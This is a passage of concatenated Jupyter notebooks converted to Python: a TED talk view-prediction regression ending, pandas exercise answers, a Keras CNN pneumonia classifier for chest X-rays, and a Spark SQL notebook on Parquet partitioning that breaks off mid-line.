**Let's plot all the scores of et_optimal_model together.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 81} id=\"aGxSVrpWRINV\" outputId=\"a4d173cb-4417-42c4-fbe3-bff7c2223df0\"\n#Defining the model\nmodel = [\n ['ExtraTreeRegressor :',ExtraTreesRegressor(criterion='mae',max_depth=6, min_samples_leaf=40,min_samples_split=100, n_estimators=50)],\n ]\n#Let's run the the model\nmodel_data = []\nfor name,curr_model in model :\n curr_model_data = {}\n curr_model.random_state = 42\n curr_model_data[\"Model_Name\"] = name\n curr_model.fit(X_train,y_train)\n curr_model_data[\"MAE_train\"] =metrics.mean_absolute_error(y_train, curr_model.predict(X_train))\n curr_model_data[\"MAE_test\"] =metrics.mean_absolute_error(y_test, curr_model.predict(X_test))\n curr_model_data[\"R2_Score_train\"] = r2_score(y_train,curr_model.predict(X_train))\n curr_model_data[\"R2_Score_test\"] = r2_score(y_test,curr_model.predict(X_test))\n curr_model_data[\"RMSE_Score_train\"] = np.sqrt(mean_squared_error(y_train,curr_model.predict(X_train)))\n curr_model_data[\"RMSE_Score_test\"] = np.sqrt(mean_squared_error(y_test,curr_model.predict(X_test)))\n model_data.append(curr_model_data)\n \nresults_df_et = pd.DataFrame(model_data)\n#printing the results_df_et\nresults_df_et\n\n# + [markdown] id=\"GWPyQ0CXRKup\"\n# **Let's plot the feature importance score w.r.t. ExtraTreesRegressor model**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 399} id=\"dy1uLI5vROZH\" outputId=\"be1f5d6a-37a4-4242-c0ac-dd8acb1b784e\"\nimportances = pd.DataFrame({'Features': X.columns, \n 'Importances': et.feature_importances_})\n \nimportances.sort_values(by=['Importances'], axis='index', ascending=False, inplace=True)\nfig = plt.figure(figsize=(14, 4))\nsns.barplot(x='Features', y='Importances', data=importances)\nplt.xticks(rotation='vertical')\nplt.title('Feature importance score w.r.t. ExtraTreesRegressor model')\nplt.show()\n\n# + [markdown] id=\"RAUWBDs1RRRc\"\n# * **speaker1_avg_views is the most important feature in RandomForestregressor followed by comments.**\n# * **In all the models speaker_1_avg_views is impacting the much.**\n\n# + [markdown] id=\"ZyEkFQRORZla\"\n# # **8. Comparison of different regressor Models**\n# ## **The ML regressor models that we have used are :**\n# * Lasso Regressor\n# * Ridge Regressor\n# * KNearestNeighbors Regressor\n# * Random Forest Regressor\n# * Extra Tree Regressor\n# * Gradient Boosting Regressor\n# * XGB Regressor\n#\n# **Let's try all these models together and store the scores in a new dataframe.**\n\n# + id=\"AhhvmkpTRQ-L\"\n#Defining all these models\nmodels = [\n ['Lasso: ', Lasso()],\n ['Ridge: ', Ridge()],\n ['KNeighborsRegressor: ', neighbors.KNeighborsRegressor()],\n ['RandomForest ',RandomForestRegressor(criterion='mae',max_depth=6,min_samples_leaf=30,min_samples_split=80,n_estimators=150,random_state=42)],\n ['ExtraTreeRegressor :',ExtraTreesRegressor(criterion='mae',max_depth=6, min_samples_leaf=40,min_samples_split=100, n_estimators=50)],\n ['GradientBoostingRegressor: ', GradientBoostingRegressor()] ,\n ['XGBRegressor: ', xgb.XGBRegressor(base_score=0.5, booster='gbtree',colsample_bytree=1, gamma=0,importance_type='gain', learning_rate=0.1,max_depth=4, min_samples_leaf=40,\n min_samples_split=150, n_estimators=80)] \n ]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"CtjFQY31RsTT\" outputId=\"1cdb8ff2-4434-48af-cbdd-a77adb557126\"\n#Let's run all the models and store the scores\nmodel_data = []\nfor name,curr_model in models :\n curr_model_data = {}\n curr_model.random_state = 78\n curr_model_data[\"Name\"] = name\n curr_model.fit(X_train,y_train)\n curr_model_data[\"MAE_train\"] =metrics.mean_absolute_error(y_train, curr_model.predict(X_train))\n curr_model_data[\"MAE_test\"] =metrics.mean_absolute_error(y_test, curr_model.predict(X_test))\n curr_model_data[\"R2_Score_train\"] = r2_score(y_train,curr_model.predict(X_train))\n curr_model_data[\"R2_Score_test\"] = r2_score(y_test,curr_model.predict(X_test))\n curr_model_data[\"RMSE_Score_train\"] = np.sqrt(mean_squared_error(y_train,curr_model.predict(X_train)))\n curr_model_data[\"RMSE_Score_test\"] = np.sqrt(mean_squared_error(y_test,curr_model.predict(X_test)))\n model_data.append(curr_model_data)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 269} id=\"1YXfzVbsRuaK\" outputId=\"916b8d20-1b1f-4b83-a496-9a2db3c82e76\"\n#printing the results dataframe\nresults_df = pd.DataFrame(model_data)\nresults_df\n\n# + [markdown] id=\"v2wTuP6dRy0o\"\n# # **9. Final selection of the model**\n# ### **We choose MAE and not RMSE as the deciding factor of our model selection because of the following reasons:**\n#\n# * RMSE is heavily influenced by outliers as in the higher the values get the more the RMSE increases.\n#\n# * MAE doesn’t increase with outliers. MAE is linear and RMSE is quadratically increasing.\n#\n# * The best performing regressor model for this dataset is Random Forest Regressor on the basis of MAE.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 81} id=\"HWqr8YVMR62H\" outputId=\"57d732de-818e-4e5e-8748-ca8c6a7cab08\"\n#let's print the scores of Random Forest Regressor model \nresults_df_rf\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"F1vEmZY2R8vB\" outputId=\"3b8b2eb5-755d-403b-e961-943f880c6ead\"\nprint(f'Mean value of our target variable is {y.mean()}')\n\n# + [markdown] id=\"dDH4ALeTR_Hk\"\n# **For Random Forest Regressor model, MAE is around 12 % of target variable mean.**\n\n# + [markdown] id=\"u7AJmgzmSFCu\"\n# # **10. Conclusion**\n# ## **That's it! We reached the end of our exercise.**\n# ### **Started with loading the data so far we have done EDA ,feature engineering , data cleaning, target encoding and one hot encoding of categorical columns, feature selection and then model building.**\n# **So far we have modelled on**\n# * Lasso Regressor\n# * Ridge Regressor\n# * KNearestNeighbors Regressor\n# * Random Forest Regressor\n# * Extra Tree Regressor\n# * Gradient Boosting Regressor\n# * XGB Regressor\n#\n# **In all of these models our errors have been in the range of 2,00,000 which is around 10% of the average views. We have been able to correctly predict views 90% of the time.**\n#\n# **After hyper parameter tuning, we have prevented overfitting and decreased errors by regularizing and reducing learning rate.**\n#\n# **Given that only have 10% errors, our models have performed very well on unseen data due to various factors like feature selection,correct model selection,etc.**\n# **Out of all these models RandomForestRegressor is the best performer in terms of MAE.** \n#\n# **In all the features speaker_wise_avg_views is most important this implies that speakers are directly impacting the views.**\n\n# + id=\"jIbtf3V4V6p0\"\n\n","repo_name":"Nargis45/Ted_Talk_views_Prediction_R","sub_path":"Ted_Talk_Views_Prediction.ipynb","file_name":"Ted_Talk_Views_Prediction.ipynb","file_ext":"py","file_size_in_byte":59866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"31760483282","text":"# + active=\"\"\n# #Answer1\n# Pandas is a popular Python library for data manipulation and analysis. Here are five common functions from the pandas library along with example executions:\n#\n# 1-read_csv: This function is used to read data from a CSV (Comma Separated Values) file into a DataFrame.\n\n# +\nimport pandas as pd\n\n# Read a CSV file into a DataFrame\ndf = pd.read_csv('players_Data.csv')\n\n# + active=\"\"\n# 2-head: This function allows you to view the first few rows of a DataFrame to get a quick overview of the data.\n# -\n\n# Display the first 5 rows of the DataFrame\ndf.head()\n\n# + active=\"\"\n# 3-groupby: This function is used for grouping data based on one or more columns,\n# which can be followed by aggregation functions like mean(), sum(), etc.\n\n# +\n# Group data by a specific column and calculate the mean of another column\nimport pandas as pd\n\n# Sample DataFrame\ndata = {'Category': ['A', 'B', 'A', 'B', 'A'],\n 'Value': [10, 20, 15, 25, 30]}\ndf = pd.DataFrame(data)\n\n# Grouping by the 'Category' column and calculating the mean of 'Value' column\ngrouped = df.groupby('Category')['Value'].mean()\nprint(grouped)\n\n# + active=\"\"\n# 4-describe: The describe function provides summary statistics of numeric columns in the DataFrame, such as mean, standard deviation, and quartiles.\n# -\n\n#example\ndf.describe()\n\n# + active=\"\"\n# 5-plot: Pandas provides various plotting functions to create simple data visualizations. Here's an example of creating a histogram:\n\n# +\n#example:\nimport matplotlib.pyplot as plt\n\n#sample data\ndata = {'Age': [25, 30, 35, 40, 45, 50, 55, 60, 65, 70]}\ndf = pd.DataFrame(data)\n# Create a histogram of the 'Age' column using Matplotlib\ndf['Age'].plot(kind='hist', bins=5, edgecolor='black')\nplt.xlabel('Age')\nplt.ylabel('Frequency')\nplt.title('Age Distribution')\nplt.show()\n\n# + active=\"\"\n# #Answer2\n# You can re-index a Pandas DataFrame with a new index that starts from 1 and increments by 2 for each row using the following Python function:\n\n# +\nimport pandas as pd\n\ndef reindex_with_increment(df):\n # Create a new index starting from 1 and incrementing by 2\n new_index = range(1, 2 * len(df) + 1, 2)\n \n # Assign the new index to the DataFrame\n df.index = new_index\n \n return df\n\n# Example DataFrame\ndata = {'A': [10, 20, 30],\n 'B': [40, 50, 60],\n 'C': [70, 80, 90]}\ndf = pd.DataFrame(data)\n\n# Call the function to re-index the DataFrame\ndf = reindex_with_increment(df)\n\nprint(df)\n\n# + active=\"\"\n# #Answer3\n# import pandas as pd\n# #sample Data Frame:\n# data = {'values' : [10,20,30,40,50]}\n# df = pd.DataFrame(data)\n# #create a function to calculate the sum of the first three values in the 'Values' column as follows:\n# sum_of_three_values = df['values'].head(3).sum()\n# print(\"The sum of first three values:\",sum_of_three_values)\n\n# + active=\"\"\n# #Answer4\n#\n# You can create a new column 'Word_Count' in a Pandas DataFrame to store the number of words in each row of the 'Text' column by defining a Python function as follows:\n\n# +\n#example:\n\nimport pandas as pd\n\n#Sample dataframe:\ndata = {'Text' : ['This is an example','Count the words','In each row', 'of text Column']}\ndf = pd.DataFrame(data)\n#create a function \ndef add_word_count_column(df):\n # Split the 'Text' column by spaces and count the number of words\n df['word_count'] = df['Text'].str.split().apply(len)\n# Call the function to add the 'Word_Count' column\nadd_word_count_column(df)\nprint(df)\n\n# + active=\"\"\n# #Answer5\n# In Pandas, DataFrame.size and DataFrame.shape are two different attributes of a DataFrame, and they provide distinct information about the DataFrame's structure:\n#\n# 1-DataFrame.size:\n#\n# DataFrame.size is an attribute that returns the total number of elements in the DataFrame, which is essentially the product of the number of rows and the number of columns.\n# It returns an integer value that represents the total number of cells or elements in the DataFrame.\n# For example, if you have a DataFrame with 3 rows and 2 columns, DataFrame.size will return 6, as there are 6 elements in the DataFrame.\n\n# +\nimport pandas as pd\n\ndata = {'A': [1, 2, 3], 'B': [4, 5, 6]}\ndf = pd.DataFrame(data)\nprint(df.size)\n\n# + active=\"\"\n# 2-DataFrame.shape:\n#\n# DataFrame.shape is an attribute that returns a tuple representing the dimensions of the DataFrame, where the first element of the tuple is the number of rows, and the second element is the number of columns.\n# It provides the shape of the DataFrame as (n_rows, n_columns).\n# For example, if you have a DataFrame with 3 rows and 2 columns, DataFrame.shape will return (3,2).\n\n# +\nimport pandas as pd\n\ndata = {'A': [1, 2, 3], 'B': [4, 5, 6]}\ndf = pd.DataFrame(data)\nprint(df.shape)\n\n# + active=\"\"\n# #Answer6\n#\n# In pandas, you can use the pd.read_excel() function to read an Excel file.\n# This function allows you to read data from Excel files (both .xls and .xlsx formats) into a DataFrame.\n# Here's how you can use it:\n# -\n\n# import pandas as pd\n#\n# # Read an Excel file into a DataFrame\n# df = pd.read_excel('your_excel_file.xlsx')\n\n# + active=\"\"\n# #Anwswer7\n# You can create a new column 'Username' in a Pandas DataFrame to store the username part of each email address by defining a Python function as follows:\n\n# +\nimport pandas as pd\n\ndef extract_username(df):\n df['Username'] = df['Email'].str.split('@').str[0]\n \n#sample datafram:\ndata = {'Email': ['john.doe@example.com', 'alice.smith@example.org', 'bob.johnson@example.net']}\ndf = pd.DataFrame(data)\n \n#CALL THE FUNCTION:\nextract_username(df)\nprint(df)\n\n# +\n#Answer8\nimport pandas as pd\n\ndata = {'A' : [3,8,6,2,9],\n 'B' : [5,2,9,3,1],\n 'C' : [1,7,4,5,2]\n }\n\ndf = pd.DataFrame(data)\n\n#create a function:\ndef selected_row_by_column(df):\n # Use boolean indexing to select rows that meet the specified conditions\n selected_rows = df[(df['A']>5) & (df['B'] < 10)]\n return selected_rows\n\n\nselected_df = selected_row_by_column(df)\nprint(selected_df)\n\n# +\n#Answer9\nimport pandas as pd\n\ndef calculate_statistics(df):\n # Calculate mean, median, and standard deviation\n mean_value = df['Values'].mean()\n median_value = df['Values'].median()\n std_deviation = df['Values'].std()\n \n return mean_value, median_value, std_deviation\n\n# Example DataFrame\ndata = {'Values': [10, 20, 30, 40, 50]}\ndf = pd.DataFrame(data)\n\n# Call the function to calculate statistics\nmean, median, std = calculate_statistics(df)\n\nprint(f\"Mean: {mean}\")\nprint(f\"Median: {median}\")\nprint(f\"Standard Deviation: {std}\")\n\n# +\n#Answer10\nimport pandas as pd\n\ndef calculate_moving_average(df):\n # Sort the DataFrame by the 'Date' column (if it's not already sorted)\n df = df.sort_values('Date')\n \n # Calculate the moving average using a window of size 7, including the current day\n df['MovingAverage'] = df['Sales'].rolling(window=7, min_periods=1).mean()\n \n return df\n\n# Example DataFrame\ndata = {'Date': pd.date_range(start='2023-01-01', periods=10, freq='D'),\n 'Sales': [10, 15, 20, 30, 25, 35, 40, 45, 50, 60]}\ndf = pd.DataFrame(data)\n\n# Call the function to calculate the moving average\ndf = calculate_moving_average(df)\n\nprint(df)\n\n# +\n#Answer11\nimport pandas as pd\n\n#sample data frame:\ndata = {'Date' :pd.date_range(start='2023-01-01',periods=5,freq = 'D')}\ndf = pd.DataFrame(data)\n\n#create a function:\ndef date_with_weekday(df):\n df['Weekday'] = df['Date'].dt.strftime('%A')\n#call the function:\ndate_with_weekday(df)\nprint(df)\n\n# +\n#Answer12\nimport pandas as pd\n\ndef select_rows_by_date_range(df):\n # Convert 'Date' column to datetime if it's not already\n df['Date'] = pd.to_datetime(df['Date'])\n \n # Define the start and end dates for the date range\n start_date = pd.to_datetime('2023-01-01')\n end_date = pd.to_datetime('2023-01-31')\n \n # Use boolean indexing to select rows within the date range\n selected_rows = df[(df['Date'] >= start_date) & (df['Date'] <= end_date)]\n \n return selected_rows\n\n# Example DataFrame\ndata = {'Date': pd.date_range(start='2023-01-01',end= '2023-01-31') }\ndf = pd.DataFrame(data)\n\n# Call the function to select rows within the date range\nselected_df = select_rows_by_date_range(df)\n\nprint(selected_df)\n\n# + active=\"\"\n# #Answer13\n# To use the basic functions of Pandas, you need to import the Pandas library itself. You can import Pandas using the import statement in your Python script or Jupyter Notebook.\n# Typically, it is imported with the alias 'pd' for convenience, but you can use any alias you prefer.\n# Here's how to import Pandas:\n# -\n\nimport pandas as pd\n","repo_name":"Aneeesahmad882/ML_ToolBox_Assignment","sub_path":"pandas Advance Assingment.ipynb","file_name":"pandas Advance Assingment.ipynb","file_ext":"py","file_size_in_byte":8553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"22132970674","text":"# + [markdown] id=\"Xbe2K-cISJrm\"\n# **Install necessary packages**\n\n# + id=\"7-WfG_0NSRZk\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"4e2df184-2e2f-43ca-cc25-c923aca8041b\"\n# ! pip install visualkeras\n\n# + [markdown] id=\"88iW5XKkw7bO\"\n# **Import all the necessary libraries**\n\n# + id=\"HhZmlyWWn14U\"\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport keras\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Dense, Conv2D , MaxPool2D , Flatten , Dropout , BatchNormalization\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report,confusion_matrix\nfrom keras.callbacks import ReduceLROnPlateau\nimport cv2\nimport os\nimport visualkeras\nfrom sklearn.metrics import precision_score, recall_score, f1_score\n\n# + [markdown] id=\"rtpHMf-ixIg1\"\n# **Configurations**\n\n# + id=\"OC1VeW0OT0zA\"\n# provide the path to the image data\nGOOGLE_DRIVE_PATH = \"/content/drive/MyDrive/Colab Notebooks\"\nINPUT_DATA_PATH = os.path.join(GOOGLE_DRIVE_PATH, 'chest_xray')\n\n# image configurations\nLABELS = ['NORMAL', 'PNEUMONIA']\nIMAGE_SIZE = 128\nIMAGE_CHANNEL = 1\n\n# model configuration\nMODEL_NAME = 'ChestXRay_CNN_Model'\nEPOCH = 10\nVERBOSE_MODE = True\n\n\n# + [markdown] id=\"gUaZiEXaxeV2\"\n# **Function: Read images from files into arrays**\n\n# + id=\"XNfLhZFZpR6C\"\ndef ReadImagesIntoArrays(image_dir):\n data = [] \n for label in LABELS: \n path = os.path.join(image_dir, label)\n image_label = LABELS.index(label)\n for imagefile in os.listdir(path):\n try:\n image = cv2.imread(os.path.join(path, imagefile), cv2.IMREAD_GRAYSCALE)\n resized_image = cv2.resize(image, (IMAGE_SIZE, IMAGE_SIZE))\n data.append([resized_image, image_label])\n except Exception as e:\n print(e)\n return np.array(data)\n\n\n# + [markdown] id=\"ad6aW8fVnvKF\"\n# **Read the image data**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Nb7X_4-TpYsa\" outputId=\"9ac61a8b-952a-4e88-e1c7-6e592abaffd5\"\nTrainingSet = ReadImagesIntoArrays(os.path.join(INPUT_DATA_PATH, 'train'))\nValidationSet = ReadImagesIntoArrays(os.path.join(INPUT_DATA_PATH, 'val'))\nTestSet = ReadImagesIntoArrays(os.path.join(INPUT_DATA_PATH, 'test'))\n\n# + [markdown] id=\"q4B7AecgnqZ9\"\n# **Analyze the training and validation data**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 199} id=\"21ClnnRyy-cR\" outputId=\"c8f03d5d-e3e7-4b8b-bca1-fec8a77baeb7\"\ntrainingset_normal_counts = TrainingSet[:, -1].shape[0] - np.count_nonzero(TrainingSet[:, -1])\ntrainingset_pneumonia_counts = np.count_nonzero(TrainingSet[:, -1])\n# plot\nfigure, axis = plt.subplots(1,2)\nsize = [trainingset_normal_counts, trainingset_pneumonia_counts]\nexplode = (0, 0.1)\naxis[0].pie(size, explode=explode, labels=LABELS, autopct='%1.1f%%', shadow=True, startangle=270)\naxis[0].set_title(\"Training Set\")\nvalidationset_normal_counts = ValidationSet[:, -1].shape[0] - np.count_nonzero(ValidationSet[:, -1])\nvalidationset_pneumonia_counts = np.count_nonzero(ValidationSet[:, -1])\nsize = [validationset_normal_counts, validationset_pneumonia_counts]\nexplode = (0, 0.1)\naxis[1].pie(size, explode=explode, labels=LABELS, autopct='%1.1f%%', shadow=True, startangle=225)\naxis[1].set_title(\"Validation Set\")\nplt.show()\n\n# + [markdown] id=\"pps-zY0FnfJ-\"\n# **Preprocess and normalize the data**\n\n# + id=\"yAvKWCH1zEKf\"\nx_train = []\ny_train = []\n\nx_val = []\ny_val = []\n\nx_test = []\ny_test = []\n\nfor x, label in TrainingSet:\n x_train.append(x)\n y_train.append(label)\n \nfor x, label in ValidationSet:\n x_val.append(x)\n y_val.append(label)\n\nfor x, label in TestSet:\n x_test.append(x)\n y_test.append(label)\n\n# + id=\"Zs99I01vzG-Z\"\n# Normalize the data\nx_train = np.array(x_train) / 255\nx_val = np.array(x_val) / 255\nx_test = np.array(x_test) / 255\n\n# + id=\"iLd2UrgkzI2m\"\n# resize data for deep learning \nx_train = x_train.reshape(-1, IMAGE_SIZE, IMAGE_SIZE, IMAGE_CHANNEL)\ny_train = np.array(y_train)\n\nx_val = x_val.reshape(-1, IMAGE_SIZE, IMAGE_SIZE, IMAGE_CHANNEL)\ny_val = np.array(y_val)\n\nx_test = x_test.reshape(-1, IMAGE_SIZE, IMAGE_SIZE, IMAGE_CHANNEL)\ny_test = np.array(y_test)\n\n# + [markdown] id=\"n3ix5YAanO_w\"\n# **Augment the data to overfeat the data being imbalance**\n\n# + id=\"iiy2iXl7zMPk\"\ndatagen = ImageDataGenerator(\n rotation_range = 30,\n zoom_range = 0.2,\n width_shift_range=0.1,\n height_shift_range=0.1,\n horizontal_flip = True)\n\ndatagen.fit(x_train)\n\n# + [markdown] id=\"znuuRqlhnKI1\"\n# **Construct the CNN model**\n\n# + id=\"9VHmhWg6zS_m\"\nmodel = Sequential()\nmodel.add(Conv2D(32 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu' , input_shape = (IMAGE_SIZE, IMAGE_SIZE, IMAGE_CHANNEL)))\nmodel.add(Dropout(0.1))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\nmodel.add(Conv2D(64 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu'))\nmodel.add(Dropout(0.1))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\nmodel.add(Conv2D(64 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu'))\nmodel.add(Dropout(0.1))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\nmodel.add(Conv2D(128 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu'))\nmodel.add(Dropout(0.2))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\nmodel.add(Conv2D(256 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu'))\nmodel.add(Dropout(0.2))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\nmodel.add(Flatten())\nmodel.add(Dense(units = 128 , activation = 'relu'))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(units = 1 , activation = 'sigmoid'))\nmodel.compile(optimizer = \"rmsprop\" , loss = 'binary_crossentropy' , metrics = ['accuracy'])\n# model.summary()\n\n# + [markdown] id=\"qOujHFMsnBd-\"\n# **Define the learning rate reduction based on the accuracy**\n\n# + id=\"HdeMbPoczZbX\"\nlearning_rate_reduction = ReduceLROnPlateau(monitor='val_accuracy', patience = 2, verbose=VERBOSE_MODE, factor=0.3, min_lr=0.000001)\n\n# + [markdown] id=\"sRj1Z2O4m7G1\"\n# **Train the CNN model**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"dbpUlq0fzcLQ\" outputId=\"e6b38236-7b28-440d-9d3b-3819106676f8\"\nhistory = model.fit(datagen.flow(x_train,y_train, batch_size = 32) ,epochs = EPOCH , validation_data = datagen.flow(x_val, y_val) ,callbacks = [learning_rate_reduction])\n\n# + [markdown] id=\"j23yodXam3Nt\"\n# **Save the CNN model**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"14NPsIh57HWn\" outputId=\"58a34f71-41a5-48e6-ed03-914ed6fa5774\"\nmodel.save(os.path.join(GOOGLE_DRIVE_PATH, MODEL_NAME))\n\n# + [markdown] id=\"poMMvmHLmzwe\"\n# **Load the CNN model**\n\n# + id=\"cy0YlOPib03k\"\n# model = load_model(os.path.join(GOOGLE_DRIVE_PATH, MODEL_NAME))\n\n# + [markdown] id=\"Rrhtzor9pHu2\"\n# **Model visualization and summary**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 395} id=\"u-vko3orpIFE\" outputId=\"293ff441-94f4-4f9c-efce-fa4dd776a94e\"\nvisualkeras.layered_view(model, legend=True, scale_xy=2)\n# model.summary()\n\n# + [markdown] id=\"UDTz5yOUmspl\"\n# **Make prediction from test data**\n\n# + id=\"R90gl3xpzlSS\"\npredictions = model.predict(x_test)\npredictions = predictions.reshape(1,-1)[0]\ny_hat = [0 if val < 0.5 else 1 for val in predictions]\n\n# + [markdown] id=\"uoRSnPuJl8Pw\"\n# **Analyze the result**\n\n# + id=\"sCM91IywzpMs\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 389} outputId=\"9832e542-442e-4978-ca7f-e3686dc07325\"\n# Report Precision, Recall, F1-Score\nprecision = precision_score(y_test, y_hat)\nrecall = recall_score(y_test, y_hat)\nf1 = f1_score(y_test, y_hat)\nprint(f\" Precision: {precision}\")\nprint(f\" Recall: {recall}\")\nprint(f\" F1-Score: {f1}\")\n\n# Confusion matrix\ncm = confusion_matrix(y_test, y_hat)\ncm_DF = pd.DataFrame(cm , index=['0','1'] , columns=['0','1'])\nplt.figure(figsize=(5, 5))\nsns.heatmap(cm_DF, cmap=\"Reds\", annot=True, fmt='', xticklabels=LABELS, yticklabels=LABELS)\n","repo_name":"Sanaz-salari/Deep-Learning","sub_path":"Pneumonia_Detection_ChestXray_CNN.ipynb","file_name":"Pneumonia_Detection_ChestXray_CNN.ipynb","file_ext":"py","file_size_in_byte":8180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"24031699110","text":"# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"w1m9uEbLTfhq\" outputId=\"9f64db53-e961-4c38-9705-8921d895d682\"\n# Activate Spark in our Colab notebook.\nimport os\n# Find the latest version of spark 3.0 from http://www.apache.org/dist/spark/ and enter as the spark version\n# For example: 'spark-3.2.2'\nspark_version = 'spark-3.2.2'\n# spark_version = 'spark-3.'\nos.environ['SPARK_VERSION']=spark_version\n\n# Install Spark and Java\n# !apt-get update\n# !apt-get install openjdk-11-jdk-headless -qq > /dev/null\n# !wget -q http://www.apache.org/dist/spark/$SPARK_VERSION/$SPARK_VERSION-bin-hadoop3.2.tgz\n# !tar xf $SPARK_VERSION-bin-hadoop3.2.tgz\n# !pip install -q findspark\n\n# Set Environment Variables\nos.environ[\"JAVA_HOME\"] = \"/usr/lib/jvm/java-11-openjdk-amd64\"\nos.environ[\"SPARK_HOME\"] = f\"/content/{spark_version}-bin-hadoop3.2\"\n\n# Start a SparkSession\nimport findspark\nfindspark.init()\n\n# + id=\"wdpzXrYLTgcq\"\n# Import packages\nfrom pyspark.sql import SparkSession\nimport time\n\n# Create a SparkSession\nspark = SparkSession.builder.appName(\"SparkSQL\").getOrCreate()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"SyGdKF4mTguN\" outputId=\"f7cb05ec-19b3-4215-8283-5b770230f08e\"\n# Read in data from S3 Bucket\nfrom pyspark import SparkFiles\nurl = \"https://2u-data-curriculum-team.s3.amazonaws.com/nflx-data-science-adv/week-5/DelayedFlights.csv\"\nspark.sparkContext.addFile(url)\ndf = spark.read.csv(SparkFiles.get(\"DelayedFlights.csv\"), sep=\",\", header=True)\ndf.show()\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"daHsHUbSTzaj\" outputId=\"6a846ad7-d0e3-4eb2-b9a1-0fbc9bb9bcd2\"\n#Create temp view named \"delays\"\ndf.createOrReplaceTempView('delays')\n# Start the runtime\nstart_time = time.time()\n# Using spark.sql write a query that gives you the total distance and the count of every unique Origin, Dest combination\nspark.sql(\"\"\"select Origin, Dest ,sum(Distance), count(*) from delays group by 1,2\"\"\").show()\n# Print out the runtime.\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n\n# + id=\"EVQQPzgiUgTg\"\n# Write out the data in parquet format\ndf.write.parquet('parquet_delay_basic',mode='overwrite')\n\n# + id=\"1fjWZBkMUuIQ\"\n# Read in our new parquet formatted data\np_df=spark.read.parquet('parquet_delay_basic')\n\n# + id=\"O9Vj-1tAVMxZ\"\n# Convert the dataframe to a view.\np_df.createOrReplaceTempView('p_delays')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"W1upPNu4VFnm\" outputId=\"057ad222-d456-417a-b289-3fde6ec04229\"\n# Start the runtime\nstart_time = time.time()\n\n# Run the same query here\n\nspark.sql(\"\"\"select Origin, Dest ,sum(Distance), count(*) from p_delays group by 1,2\"\"\").show()\n# Print out the runtime\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n\n# + id=\"RxtycEtOVQrZ\"\n# Write out your parquet data, partitioning on the Origin column\ndf.write.partitionBy(\"Origin\").mode(\"overwrite\").parquet(\"delayed_partitioned\")\n\n# + id=\"TMpsNLamXM9N\"\n# Read in our new parquet formatted data\np_df_p=spark.read.parquet('delayed_partitioned')\n\n# + id=\"KX3wglAtWEbI\"\n# Convert the dataframe to a view.\np_df_p.createOrReplaceTempView('p_delays_p')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"LOR5HfhRVzmG\" outputId=\"d39a81cb-c213-4dc2-d3a3-0a9b32390d9b\"\n# Start the runtime\nstart_time = time.time()\n\n# Run your query against your partitioned data one more time.\nspark.sql(\"\"\"select Origin, Dest ,sum(Distance), count(*) from p_delays_p group by 1,2\"\"\").show()\n# Print out the runtime\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"w1LbeemvWsRa\" outputId=\"a9efe10f-32e4-49f0-a8d4-3c91acdc97d4\"\n# Start the runtime\nstart_time = time.time()\n# Filter the data on something that selects your partition choice.\nspark.sql(\"\"\"Select distinct Origin, TailNum from p_delays where TailNum='N712SW' \"\"\").show()\n# Print out the runtime.\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"e3wGOJK3Xrnu\" outputId=\"9a46cbfc-6c17-452d-c585-4115c9e41063\"\n# Start the runtime\nstart_time = time.time()\n# Filter the data on something that has nothing to do with your partition choice.\nspark.sql(\"\"\"Select distinct Dest, TailNum from p_delays_p where TailNum='N712SW' \"\"\").show()\n# Print out the runtime.\nprint(\"--- %s seconds ---\" % (time.time() - 